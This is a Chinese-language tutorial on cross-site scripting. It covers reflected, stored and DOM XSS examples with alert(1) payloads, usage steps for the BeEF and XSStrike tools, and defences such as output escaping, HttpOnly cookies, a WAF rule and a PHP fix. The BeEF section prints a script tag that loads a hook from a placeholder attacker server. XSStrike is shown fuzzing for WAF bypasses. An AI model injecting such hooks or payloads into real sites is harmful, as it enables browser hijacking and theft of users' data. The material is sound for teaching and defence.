一、XSS简介与危害
1、简介
跨站脚本攻击(XSS, Cross Site Scripting)是一种常见的Web安全漏洞。攻击者通过在Web页面插入恶意脚本,当用户浏览该页面时,脚本被执行,从而达到窃取用户数据、篡改页面内容等攻击目的。
2、危害
- 盗取用户账号(如登录凭证、管理员权限)
- 窃取敏感数据(如Cookie、个人信息)
- 网站挂马或传播恶意软件
- 控制用户浏览器发起DDoS攻击
- 伪造用户行为(如发送虚假请求)
二、 XSS类型与案例
1、 反射型XSS
- 特点:恶意脚本通过URL参数传递,仅在单次请求中生效。
- 案例:
http
http://example.com/search?query=<script>alert(1)</script>
2、存储型XSS
- 特点:恶意脚本存储于服务器数据库,用户每次访问相关页面时触发。
- 案例:在论坛发帖插入`<script>alert(1)</script>`,其他用户查看帖子时触发攻击。
3、DOM型XSS
- 特点:通过修改DOM树中的数据执行脚本,无需与服务器交互。
- 案例:
javascript
// 页面存在漏洞的JavaScript代码
document.write(location.hash.slice(1));
// 访问URL:http://example.com/<script>alert(1)</script>
三、 XSS综合案例与利用工具
1、BeEF XSS工具使用步骤:
启动BeEF:
`beef-xss`
访问管理界面:
`http://localhost:3000/ui/authentication`
在攻击页面注入钩子脚本:
html
<script src="http://beef-server-ip:3000/hook.js"></script>
2、 XSStrike绕过工具
功能:自动化检测与绕过WAF的XSS漏洞。
使用示例:
bash
pip install -r requirements.txt
python xsstrike.py -u "http://target.com/vuln.php?param=test" --fuzzer
四、XSS防御措施
1、输入验证与过滤
- 对用户输入进行严格校验(如白名单过滤特殊字符)。
- 使用HTML编码转义输出内容(如PHP的`htmlspecialchars()`)。
2、HttpOnly Cookie
http
Set-Cookie: sessionid=abc123; HttpOnly; Secure
3、Web应用防火墙(WAF)
配置规则拦截恶意请求,例如:
nginx
if ($request_uri ~* "<script>") {
return 403;
}
五、修复案例
1、原始漏洞代码
php
<?php echo $_GET'x'; ?>
2、修复后代码
php
<?php
$x = htmlspecialchars($_GET'x', ENT_QUOTES, 'UTF-8');
echo $x;
?>
注:以上示例中的域名(如example.com)和IP地址(如192.168.0.8)为演示用途,请在实际环境中替换为真实资产。